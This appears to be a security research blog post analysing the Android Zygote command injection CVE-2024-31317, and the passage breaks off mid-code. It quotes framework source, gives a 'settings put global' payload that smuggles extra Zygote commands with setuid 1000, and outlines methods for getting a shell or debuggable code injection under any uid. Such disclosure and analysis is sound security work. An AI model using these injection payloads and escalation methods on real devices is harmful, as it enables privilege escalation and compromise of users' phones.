Category Archives: Uncategorized

The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317

Abstract

This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which is the little horse in the title image – the Pwnie Award for Best Privilege Escalation Bug at the hacker Oscars), but each has its own merits.

Origin of the Vulnerability

A few months ago, Meta X Red Team published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it’s worth mentioning that people were later surprised to find that the first fix for this vulnerability was actually ineffective). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it’s already 2024, and we can still find command injection in Android’s core component (Zygote).

This reminds us of the Mystique vulnerability we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It’s worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the WRITE_SECURE_SETTINGS permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary untrusted_apps cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.

However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta’s original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.

Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:

demo

Analysis of this vulnerability

Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android’s cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.

Zygote and system_server bootstrap process

Every Android developer knows that Zygote forks all processes in Android’s Java world, and system_server is no exception, as shown in the figure below.

zygoteandsystemserver

The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in ZygoteServer.java:

 Runnable runSelectLoop(String abiList) {
 //...
 if (pollIndex == 0) {
                        // Zygote server socket
                        ZygoteConnection newPeer = acceptCommandPeer(abiList);
                        peers.add(newPeer);
                        socketFDs.add(newPeer.getFileDescriptor());
                    } else if (pollIndex < usapPoolEventFDIndex) {
                        // Session socket accepted from the Zygote server socket

                        try {
                            ZygoteConnection connection = peers.get(pollIndex);
                            boolean multipleForksOK = !isUsapPoolEnabled()
                                    && ZygoteHooks.isIndefiniteThreadSuspensionSafe();
                            final Runnable command =
                                    connection.processCommand(this, multipleForksOK);

                            // TODO (chriswailes): Is this extra check necessary?
                            if (mIsForkChild) {
                                // We're in the child. We should always have a command to run at
                                // this stage if processCommand hasn't called "exec".
                                if (command == null) {
                                    throw new IllegalStateException("command == null");
                                }

                                return command;
                            } else {
                                // We're in the server - we should never have any commands to run.
                                if (command != null) {
                                    throw new IllegalStateException("command != null");
                                }

                                // We don't know whether the remote side of the socket was closed or
                                // not until we attempt to read from it from processCommand. This
                                // shows up as a regular POLLIN event in our regular processing
                                // loop.
                                if (connection.isClosedByPeer()) {
                                    connection.closeSocket();
                                    peers.remove(pollIndex);
                                    socketFDs.remove(pollIndex);
                                }
                            }
                        }
                        
                        //...
      Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
        ZygoteArguments parsedArgs;

Then it enters the processCommand function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in ZygoteArguments, and much of our subsequent work will need to revolve around this format.

    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
  try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
            while (true) {
                try {
                    parsedArgs = ZygoteArguments.getInstance(argBuffer);
                    // Keep argBuffer around, since we need it to fork.
                } catch (IOException ex) {
                    throw new IllegalStateException("IOException on command socket", ex);
                }
               //...
                if (parsedArgs.mBootCompleted) {
                    handleBootCompleted();
                    return null;
                }

                if (parsedArgs.mAbiListQuery) {
                    handleAbiListQuery();
                    return null;
                }

                if (parsedArgs.mPidQuery) {
                    handlePidQuery();
                    return null;
                }
//...
                if (parsedArgs.mInvokeWith != null) {
                    try {
                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
                        childPipeFd = pipeFds[1];
                        serverPipeFd = pipeFds[0];
                        Os.fcntlInt(childPipeFd, F_SETFD, 0);
                        fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
                    } catch (ErrnoException errnoEx) {
                        throw new IllegalStateException("Unable to set up pipe for invoke-with",
                                errnoEx);
                    }
                }
//...
        if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
                    // Continue using old code for now. TODO: Handle these cases in the other path.
                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
                            parsedArgs.mBindMountAppStorageDirs,
                            parsedArgs.mBindMountSyspropOverrides);

                    try {
                        if (pid == 0) {
                            // in child
                            zygoteServer.setForkChild();

                            zygoteServer.closeServerSocket();
                            IoUtils.closeQuietly(serverPipeFd);
                            serverPipeFd = null;

                            return handleChildProc(parsedArgs, childPipeFd,
                                    parsedArgs.mStartChildZygote);
                        } else {
                            // In the parent. A pid < 0 indicates a failure and will be handled in
                            // handleParentProc.
                            IoUtils.closeQuietly(childPipeFd);
                            childPipeFd = null;
                            handleParentProc(pid, serverPipeFd);
                            return null;
                        }
                    } finally {
                        IoUtils.closeQuietly(childPipeFd);
                        IoUtils.closeQuietly(serverPipeFd);
                    }
                } else {
                    ZygoteHooks.preFork();
                    Runnable result = Zygote.forkSimpleApps(argBuffer,
                            zygoteServer.getZygoteSocketFileDescriptor(),
                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
                    if (result == null) {
                        // parent; we finished some number of forks. Result is Boolean.
                        // We already did the equivalent of handleParentProc().
                        ZygoteHooks.postForkCommon();
                        // argBuffer contains a command not understood by forksimpleApps.
                        continue;
                    } else {
                        // child; result is a Runnable.
                        zygoteServer.setForkChild();
                        return result;
                    }
                }
            }
        }
        //...
        if (parsedArgs.mApiDenylistExemptions != null) {
            return handleApiDenylistExemptions(zygoteServer,
                    parsedArgs.mApiDenylistExemptions);
      }

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
                                             @NonNull FileDescriptor zygoteSocket,
                                             int expectedUid,
                                             int minUid,
                                             @Nullable String firstNiceName) {
        boolean in_child =
                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
        if (in_child) {
            return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
        } else {
            return null;
        }
  }

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
               String firstNiceName) {
try {
    return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
            expectedUid, minUid, firstNiceName);

This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in ZygoteCommandBuffer, namely com_android_internal_os_ZygoteCommandBuffer.cpp. The main idea is that Zygote maintains a new inner loop in nativeForkRepeatly outside the outer loop in processCommand, to improve the efficiency of launching apps.

nativeForkRepeatly also polls on the Command Socket and repeatedly processes what is called a SimpleFork format parsed from the byte stream. This SimpleFork actually only processes simple zygote parameters such as runtime-args, setuid, setgid, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in processCommand, where a new ZygoteCommandBuffer will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.

System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as denylistexemptions which contains the vulnerable code, which we will explain in more detail later.

As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a "chicken or egg" problem, and the solution is to start system_server through hardcoding.

The Zygote command format

The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.

The vulnerability itself

From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly – without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.

denylistexemptions provides such a method

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

"Regardless of the reason why hidden_api_blacklist_exemptions is modified, the ContentObserver‘s callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection."

Achieving universal exploitation utilizing socket features

Difficulty encountered on Android12 and above

The attacker’s initial idea was to directly inject new commands that would trigger the process startup, as shown below:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java’s readLine without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by NativeCommandBuffer, introducing a key difference: after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt. This means that injected commands will be directly discarded!

NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
            JNIEnv* env,
            jclass,
            jlong j_buffer,
            jint zygote_socket_fd,
            jint expected_uid,
            jint minUid,
            jstring managed_nice_name) {

 //...
  bool first_time = true;
  do {
    if (credentials.uid != static_cast<uid_t>(expected_uid)) {
      return JNI_FALSE;
    }
    n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
    n_buffer->reset();
    int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
                              /*args_known=*/ true, /*is_priority_fork=*/ true,
                              /*purge=*/ first_time);
    if (pid == 0) {
      return JNI_TRUE;
    }
//...
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();
      //...
      if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
        if (n_buffer->getCount(fail_fn_z) != 0) {
          break;
        }  // else disconnected;
      } else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
        fail_fn_z(
            CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
      }
      // We've now seen either a disconnect or connect request.
      close(session_socket);
   //...
    }
    first_time = false;
  } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
  ALOGW("forkRepeatedly terminated due to non-simple command");
  n_buffer->logState();
  n_buffer->reset();
  return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
    char* result = mBuffer + mNext;
    while (true) {
      // We have scanned up to, but not including mNext for this line's newline.
      if (mNext == mEnd) {
        if (mEnd == MAX_COMMAND_BYTES) {
          return {};
        }
        if (mFd == -1) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
        }
        ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
        if (nread <= 0) {
          if (nread == 0) {
            return {};
          }
          fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
        } else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
          // This is pessimistic by one character, but close enough.
          fail_fn("ZygoteCommandBuffer overflowed: command too long");
        }
        mEnd += nread;
      }
      // UTF-8 does not allow newline to occur as part of a multibyte character.
      char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
      if (nl == nullptr) {
        mNext = mEnd;
      } else {
        mNext = nl - mBuffer + 1;
        if (--mLinesLeft < 0) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
        }
        return std::make_pair(result, nl);
      }
    }
  }

"The nativeForkRepeatedly function operates roughly as follows: After the socket initialization setup is completed, n_buffer->readLines will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent reset will move the buffer’s current read pointer back to the initial position—meaning the subsequent operations on n_buffer will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its uid and gid and set them by itself. The parent process will continue execution and enter the for loop below. This for loop continuously listens to the corresponding socket’s file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.

graph TD
    A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines]
    B --> C[reset Moves Buffer Pointer Back to Initial Position]
    C --> D[n_buffer Re-parses the Buffer]
    D --> E{Fork Child Process}
    E --> F[Child Process Consumes Buffer to Extract UID and GID]
    E --> G[Parent Process Continues Execution]
    G --> H[Enters for Loop]
    H --> I[n_buffer->clear Clears Buffer]
    I --> J[Continuously Listens on Socket FD]
    J --> K[Receives and Rebuilds Incoming Connections]
    K --> L[n_buffer->getCount]
    L --> |Valid Input| O[Check if it is a simpleForkCommand]
    L --> |Invalid Input| I
    O --> |Is SimpleFork| B
    O --> |Not SimpleFork| ZygoteConnection::ProcessCommand
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();

But this is where things start to get complex and tricky. The call to n_buffer->clear(); discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.

Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel’s scheduler. Generally speaking, splitting the content into different write operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let’s take a look back at the vulnerable function in system_server that triggers the writing to the command socket:

private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

mZygoteOutputWriter, which inherits from BufferedWriter, has a buffer size of 8192.

    public void write(int c) throws IOException {
        synchronized (lock) {
            ensureOpen();
            if (nextChar >= nChars)
                flushBuffer();
            cb[nextChar++] = (char) c;
        }
    }

This means that unless flush is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the BufferedWriter reaches the defaultCharBufferSize.

It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the for loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the CommandBuffer, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the string split and will first be written by system_server as a corresponding count, represented by 3001 in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.

Thus, the final payload layout is as shown in the diagram below

payload

Chaining it alltogether

We want the first part of the payload, which is the content before 13 (the yellow section in the diagram below), to exactly reach the 8192-character limit of the BufferedWriter, causing it to trigger a flush and ultimately initiate a socket write.

payload1

When Zygote receives this request, it should be in com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly, having just finished processing the previous simpleFork, and blocked at n_buffer->getCount (which is used to read the line count from the buffer). After this request arrives, getline will read all the contents from the socket into the buffer (note: it doesn’t read line by line), and upon reading 3001 (line count), it detects that it is not a isSimpleForkCommand. This causes the function to exit nativeForkRepeatedly and return to the processCommand function in ZygoteConnection.

ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
        zygoteServer.getZygoteSocketFileDescriptor(),
        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
    // parent; we finished some number of forks. Result is Boolean.
    // We already did the equivalent of handleParentProc().
    ZygoteHooks.postForkCommon();
    // argBuffer contains a command not understood by forksimpleApps.
    continue;

The whole procedure is as follows:

graph TD;
A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];
B --> C[Finish Processing Previous simpleFork];
C --> D[n_buffer->getCount Reads Line Count];
D --> E[getline Reads Buffer];
E --> F[Reads the 3001 Line Count];
F --> G[Detects it is not isSimpleForkCommand];
G --> H[Exit nativeForkRepeatedly];
H --> I[Return to ZygoteConnection's processCommand Function];

This entire 8192-sized block of content is then passed into ZygoteInit.setApiDenylistExemptions, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.

At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the maybeSetApiDenylistExemptions function’s for loop. The 8192 block just processed by Zygote corresponds to the first write in this for loop.

try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();

The next writer.write will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount – 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.

These iterations accumulated do not exceed the 8192-byte limit of the BufferedWriter, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the flush. From Zygote’s perspective, it will continue parsing the new buffer in ZygoteArguments.getInstance, corresponding to the section shown in green in the diagram below.

payload2

This green section will be read into the buffer in one go. The first thing to be processed is the line count 13, followed by the fully controlled Zygote parameters injected by the attacker.

This time, the ZygoteArguments will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to ZygoteArguments.getInstance. When the next new ZygoteArguments instance is created, ZygoteCommandBuffer will perform another read, effectively ignoring the remaining empty lines.

What should we do after successfully obtaining control of Zygote parameters?

"After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?

At first glance, this question seems obvious, but in reality, it requires deeper exploration.

Attempt #1: Can we control Zygote to execute a specific package name with a particular uid?

This might be our first thought: Can we achieve this by controlling the --package-name and UID?

Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let’s recall the Android App loading process:

app-launch

And let’s continue by examining the relevant code inApplicationThread

   public static void main(String[] args) {
    //...
        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

As we can see, the APK code loading process actually depends on startSeq, a parameter maintained by the ActivityManagerService, which maps ApplicationRecord to startSeq. This mapping tracks the corresponding loadApk, meaning the specific APK file and its path.

So, let’s take a step back:

Method #1: Can we control the execution of arbitrary code under a specific UID?

The answer is yes. By analyzing the parameters in ZygoteArguments, we discovered that the invokeWith parameter can be used to achieve this goal:

public static void execApplication(String invokeWith, String niceName,
        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
        String[] args) {
    StringBuilder command = new StringBuilder(invokeWith);

    final String appProcess;
    if (VMRuntime.is64BitInstructionSet(instructionSet)) {
        appProcess = "/system/bin/app_process64";
    } else {
        appProcess = "/system/bin/app_process32";
    }
    command.append(' ');
    command.append(appProcess);

    // Generate bare minimum of debug information to be able to backtrace through JITed code.
    // We assume that if the invoke wrapper is used, backtraces are desirable:
    //  * The wrap.sh script can only be used by debuggable apps, which would enable this flag
    //    without the script anyway (the fork-zygote path).  So this makes the two consistent.
    //  * The wrap.* property can only be used on userdebug builds and is likely to be used by
    //    developers (e.g. enable debug-malloc), in which case backtraces are also useful.
    command.append(" -Xcompiler-option --generate-mini-debug-info");

    command.append(" /system/bin --application");
    if (niceName != null) {
        command.append(" '--nice-name=").append(niceName).append("'");
    }
    command.append(" com.android.internal.os.WrapperInit ");
    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
    command.append(' ');
    command.append(targetSdkVersion);
    Zygote.appendQuotedShellArgs(command, args);
    preserveCapabilities();
    Zygote.execShell(command.toString());
}

This piece of code concatenates mInvokeWith with the subsequent arguments and executes them via execShell. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.

However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the app-lib directory.

The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.

demo

However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions.

So, is it possible to further achieve this goal?

Method #2: Leveraging the jdwp Flag

Here, we propose a new approach: the runtime-flags field in ZygoteArguments can actually be used to enable an application’s debuggable attribute.

static void applyDebuggerSystemProperty(ZygoteArguments args) {
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
        // Also enable ptrace when JDWP is enabled for consistency with
        // before persist.debug.ptrace.enabled existed.
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
}

Building on our analysis in Attempt #1, we can borrow a startSeq that matches an existing record in system_server to complete the full app startup process.The key advantage here is that the app’s process flags have been modified to enable the debuggable attribute, allowing the attacker to use tools like jdb to gain execution control within the process.

The Challenge: Predicting startSeq

The issue, however, lies in predicting the startSeq parameter. ActivityManagerService enforces strict validation for this parameter, ensuring that only legitimate values associated with active application startup processes are used.

private void attachApplicationLocked(@NonNull IApplicationThread thread,
        int pid, int callingUid, long startSeq) {
    // Find the application record that is being attached...  either via
    // the pid if we are running in multiple processes, or just pull the
    // next app record if we are emulating process with anonymous threads.
    ProcessRecord app;
    long startTime = SystemClock.uptimeMillis();
    long bindApplicationTimeMillis;
    long bindApplicationTimeNanos;
    if (pid != MY_PID && pid >= 0) {
        synchronized (mPidsSelfLocked) {
            app = mPidsSelfLocked.get(pid);
        }
        if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
            String processName = null;
            final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
            if (pending != null) {
                processName = pending.processName;
            }
            final String msg = "attachApplicationLocked process:" + processName
                    + " startSeq:" + startSeq
                    + " pid:" + pid
                    + " belongs to another existing app:" + app.processName
                    + " startSeq:" + app.getStartSeq();
            Slog.wtf(TAG, msg);
            // SafetyNet logging for b/131105245.
            EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
            // If there is already an app occupying that pid that hasn't been cleaned up
            cleanUpApplicationRecordLocked(app, pid, false, false, -1,
                    true /*replacingPid*/, false /* fromBinderDied */);
            removePidLocked(pid, app);
            app = null;
        }
    } else {
        app = null;
    }

    // It's possible that process called attachApplication before we got a chance to
    // update the internal state.
    if (app == null && startSeq > 0) {
        final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
        if (pending != null && pending.getStartUid() == callingUid
                && pending.getStartSeq() == startSeq
                && mProcessList.handleProcessStartedLocked(pending, pid,
                    pending.isUsingWrapper(), startSeq, true)) {
            app = pending;
        }
    }

    if (app == null) {
        Slog.w(TAG, "No pending application record for pid " + pid
                + " (IApplicationThread " + thread + "); dropping process");
        EventLogTags.writeAmDropProcess(pid);
        if (pid > 0 && pid != MY_PID) {
            killProcessQuiet(pid);
            //TODO: killProcessGroup(app.info.uid, pid);
            // We can't log the app kill info for this process since we don't
            // know who it is, so just skip the logging.
        } else {
            try {
                thread.scheduleExit();
            } catch (Exception e) {
                // Ignore exceptions.
            }
        }
        return;
    }

If an unmatched or incorrect startSeq is used, the process will be immediately killed. The startSeq is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current startSeq?

Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current startSeq can be found.

startseq-search

The overall exploitation process is as follows (for versions 11 and earlier):

graph TD;
A[Attacker Installs a Debuggable Stub Application] --> B[Search Stack Frames to Obtain the Current startSeq];
B --> C[startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start];
C --> D[Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService];
D --> E[Zygote Executes Injected Parameters and Forks a Debuggable Process];
E --> F[The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq];
F --> G[startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process];
G --> H[The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection];

The attack effect on Android 11 is shown in the following image:

jdwp-11

As you can see, we successfully launched the settings process and made it debuggable for injection (with a jdwp thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.

Alternative Exploitation Methods

Currently, Method 1 provides a simple and direct way to obtain a shell with arbitrary uid, but it doesn’t allow for direct code injection or loading. Method 2 achieves code injection and loading, but requires using the jdwp protocol. Is there a better approach?

Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous android.app.ActivityThread—and redirect it to another gadget class, such as WrapperInit.wrapperInit.

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
